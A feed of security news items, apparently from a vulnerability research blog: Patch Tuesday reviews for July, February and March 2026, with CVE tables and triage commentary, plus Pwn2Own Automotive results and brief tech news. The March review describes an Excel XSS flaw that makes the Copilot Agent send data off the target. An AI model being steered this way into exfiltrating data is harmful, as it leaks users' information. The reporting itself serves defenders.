CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Google Releases Three New Gemini A.I. Models

Sat, 25 Jul 2026 19:01:12 +0200

The models include one that is the company’s most powerful and another that is fine-tuned for cybersecurity, as Google competes with rivals like OpenAI and Anthropic.

Facebook Offers a Verification System Certifying to Other Users That You're a Real Human

Sat, 25 Jul 2026 19:01:11 +0200

Facebook announced Friday they're launching a badge "that verifies there's a real person behind a profile". "You record a short video selfie, which we check against your existing profile photos to confirm a match. The process is free and typically takes just a few minutes. Accounts must meet our trust and safety standards to qualify for verification...." Once verified, your badge will appear across the places on Facebook where it matters most: Marketplace, Dating, Groups, and Profile to start. Over time, we'll add badges in Feed posts as well. There's no subscription fee — you verify once, and the badge travels with you across Facebook... [Y]ou'll see the Verified badge on accounts that have completed the verification process... It's a quick, visible signal, before you respond to a listing, accept a date, or join a conversation, that there's a real person on the other end. "We're rolling out Facebook Verified in phases, starting in select markets with plans to expand globally..." their announcement adds. "As AI makes it easier to do more on Facebook, a clear signal that distinguishes real people becomes essential. That's what Facebook Verified is for: keeping the moments that matter on Facebook grounded in real people." Lifehacker shares their reaction: Facebook says it will store your selfie video for "up to 30 days" after verification, which is a one-time process. It's not entirely clear what happens with that video in the meantime, and it's worth noting that Meta has relied on user data to train its AI. Meta AI (and Meta more broadly) is a terrible offender when it comes to privacy and security, so you should consider whether the tradeoff of a verification mark is worth handing over more of your data and read the privacy policy before you agree. Google also launched a video selfie verification feature this week, though its purpose is to prove your identity should you get locked out of your account. Unlike Facebook Verified, which is meant to be a trust signal to other users, Google's selfie verification allows access to your entire Google account, bringing with it some additional security considerations.

New MIT program to train military leaders for the AI age

Sat, 25 Jul 2026 19:01:01 +0200

The new certificate program will equip naval officers with skills needed to solve the military’s hardest problems.

Pwn2Own Automotive 2026 - Day Three Results and the Master of Pwn

Sat, 25 Jul 2026 19:00:45 +0200

The last day of Pwn2Own Automotive 2026 saw the world’s top security researchers take their final shots at the latest automotive systems. Over three days of intense competition, $1,047,000 USD was awarded for 76 unique 0-day vulnerabilities, with bold exploits, clever techniques, and collisions keeping the action thrilling throughout.

By the end, Tobias Scharnowski (@ScepticCtf), Felix Buchmann (@diff_fusion), and Kristian Covic (@SeTcbPrivilege) of Fuzzware.io claimed the title of Master of Pwn, earning 28 points and $215,500 USD.

Follow the final updates on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2OwnAutomotive and #P2OAuto.

SUCCESS / COLLISON - Tobias Scharnowski (@ScepticCtf), Felix Buchmann (@diff_fusion), and Kristian Covic (@SeTcbPrivilege) of Fuzzware.io targeted the Alpine iLX-F511, demonstrating one vulnerability previously used by another contestant, earning $2,500 USD and 1 Master of Pwn point. #Pwn2Own #P2OAuto

SUCCESS / COLLISON - Slow Horses of Qrious Secure (@qriousec) targeted the Grizzl-E Smart 40A but encountered two bug collisions, still earning $5,000 USD and 2 Master of Pwn points.

SUCCESS / COLLISON - Team MST targeted the Kenwood DNR1007XR, demonstrating one bug but running into a collision, earning $2,500 USD and 1 Master of Pwn point.

SUCCESS - PetoWorks (@petoworks) targeted the Grizzl-E Smart 40A, exploiting one buffer overflow bug, and earned $10,000 USD and 4 Master of Pwn points.

SUCCESS - Bongeun Koo (@kiddo_pwn) and Evangelos Daravigkas (@freddo_1337) of Team DDOS targeted the Alpine iLX‑F511, exploiting a stack‑based buffer overflow to earn $5,000 USD and 2 Master of Pwn points.

SUCCESS - Viettel Cyber Security (@vcslab) targeted the Sony XAV‑9500ES, exploiting a heap‑based buffer overflow to achieve arbitrary code execution, earning $10,000 USD and 2 Master of Pwn points. #Pwn2Own #P2OAuto

SUCCESS / COLLISON - Qrious Secure (@qriousec) targeted the Kenwood system, demonstrating three bugs - one n-day and two unique vulnerabilities (incorrect permission assignment and a race condition), earning $4,000 USD and 1.75 Master of Pwn points.

SUCCESS - Boom! or shall we say Doom? Game On! Aapo Oksman, Elias Ikkelä-Koski and Mikael Kantola of Juurin Oy exploit the Alpitronic HYC50 with a TOCTOU bug - and installed a playable version of Doom to boot. They earn $20,000 and 4 Master of Pwn points. #Pwn2Own #P2OAuto

SUCCESS / COLLISON - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeted the Kenwood DNR1007XR, demonstrating one bug but encountering a collision, earning $2,500 USD and 1 Master of Pwn point.

SUCCESS / COLLISON - Autocrypt (Hoyong Jin, Jaewoo Jeong, Chanhyeok Jung, Minsoo Son, and Kisang Choi) targeted the Alpine iLX-F511, demonstrating two vulnerabilities to gain root access. One collided with a previously known issue, earning $3,000 USD and 1.25 Master of Pwn points.

SUCCESS - Elias Ikkelä-Koski and Aapo Oksman of Juurin Oy targeted the Kenwood DNR1007XR, demonstrating a link-following vulnerability to earn $5,000 USD and 2 Master of Pwn points.

SUCCESS - Nam Ha Bach and Vu Tien Hoa of the FPT NightWolf Team targeted the Alpine iLX-F511, exploiting one unique vulnerability to gain root access and earning $5,000 USD and 2 Master of Pwn points.

SUCCESS / COLLISON - Ryo Kato (@Pwn4S0n1c) targeted the Autel MaxiCharger AC Elite Home 40A, demonstrating a three-bug chain but encountering one collision, still earning $16,750 USD and 3.5 Master of Pwn points.

The February 2026 Security Update Review

Sat, 25 Jul 2026 19:00:44 +0200

I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

- CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

- CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

- CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

- CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

- CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

- CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

CVE	Title	Severity	CVSS	Public	Exploited	TYPE
CVE-2026-21514	Microsoft Word Security Feature Bypass Vulnerability	Important	7.8	Yes	Yes	SFB
CVE-2026-21510	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21513	Internet Explorer Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21519	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21533	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21525	Windows Remote Access Connection Manager Denial of Service Vulnerability	Moderate	6.2	No	Yes	DoS
CVE-2026-21511	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2023-2804 *	Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo	Important	6.5	Yes	No	RCE
CVE-2026-24302	Azure Arc Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-24300	Azure Front Door Elevation of Privilege Vulnerability	Critical	9.8	No	No	EoP
CVE-2026-21532	Azure Function Information Disclosure Vulnerability	Critical	8.2	No	No	Info
CVE-2026-21522	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-23655	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21218	.NET and Visual Studio Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21512	Azure DevOps Server Cross-Site Scripting Vulnerability	Important	6.5	No	No	XSS
CVE-2026-21529 †	Azure HDInsight Spoofing Vulnerability	Important	5.7	No	No	Spoofing
CVE-2026-21528	Azure IoT Explorer Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-21228	Azure Local Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-21531	Azure SDK for Python Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-21251	Cluster Client Failover (CCF) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20846	GDI+ Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-21523	GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21518	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-21257	GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-21256	GitHub Copilot and Visual Studio Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21516	GitHub Copilot for Jetbrains Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21253	Mailslot File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21537 †	Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21259	Microsoft Excel Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21258	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21261	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21527	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-21260	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21229	Power BI Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21236	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21238	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21241	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21517	Windows App for Mac Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21234	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21235	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21246	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21232	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21240	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21250	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21244	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21247	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21248	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21255	Windows Hyper-V Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-21231	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21239	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21245	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21222	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21243	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20841	Windows Notepad App Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21249	Windows NTLM Spoofing Vulnerability	Important	3.3	No	No	Spoofing
CVE-2026-21508	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21237	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21242	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-1861 *	Chromium: CVE-2026-1861 Heap buffer overflow in libvpx	High	N/A	No	No	RCE
CVE-2026-1862 *	Chromium: CVE-2026-1862 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-0391	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order. There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The March 2026 Security Update Review

Sat, 25 Jul 2026 19:00:43 +0200

I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

- CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

- CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
